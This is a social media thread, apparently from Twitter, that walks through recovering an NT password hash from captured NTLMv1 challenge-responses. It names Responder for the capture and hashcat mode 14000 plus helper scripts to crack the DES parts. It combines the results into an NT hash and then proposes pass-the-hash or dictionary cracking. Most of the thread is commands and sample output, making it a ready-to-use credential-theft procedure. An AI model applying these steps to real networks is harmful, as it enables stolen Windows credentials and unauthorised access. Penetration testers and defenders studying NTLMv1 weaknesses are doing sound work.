Thread by @netmux

HOW TO EXTRACT NTLM HASH FROM NTLMv1 HASH:

STEP 1-Capture NTLMv1 hash with or without SSP using responder.
STEP 2-Download NTLMv1-Multi tool
github.com/evilmog/ntlmv1…
python ntlmv1.py --nossp <ntlmv1_hash_nossp>
python ntlmv1-ssp.py --ssp <ntlmv1_hash_ssp>

STEP 3-Add following DES hashes into hashes.txt:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

STEP 4-Load into Hashcat and crack:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

STEP 5-Cracked hashes.txt output:
727b4e35f947129e:1122334455667788:$HEX[8923bdfdaf753f63]
a52b9cdedae86934:1122334455667788:$HEX[17d741d7ddc1c36f]

STEP 6-Convert cracked DES into NT:
hashcat.net/wiki/doku.php?…

perl deskey_to_ntlm.pl 8923bdfdaf753f63
output= 8846f7eaee8fb1

perl deskey_to_ntlm.pl 17d741d7ddc1c36f
output= 17ad06bdd830b7

STEP 7-Run output of tool:
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

output= 586c

STEP 8-Combine the above outputs into the final NT:
8846f7eaee8fb1 + 17ad06bdd830b7 + 586c

NT hash
8846f7eaee8fb117ad06bdd830b7586c

No you can Pass-The-Hash or try to crack the password:
hashcat -a 0 -m 1000 8846f7eaee8fb117ad06bdd830b7586c dict.txt

credit: @evil_mog @hashcat

Resources:
github.com/evilmog/ntlmv1…
hashcat.net/forum/thread-5…
#hashcrack
amazon.com/Hash-Crack-Pas…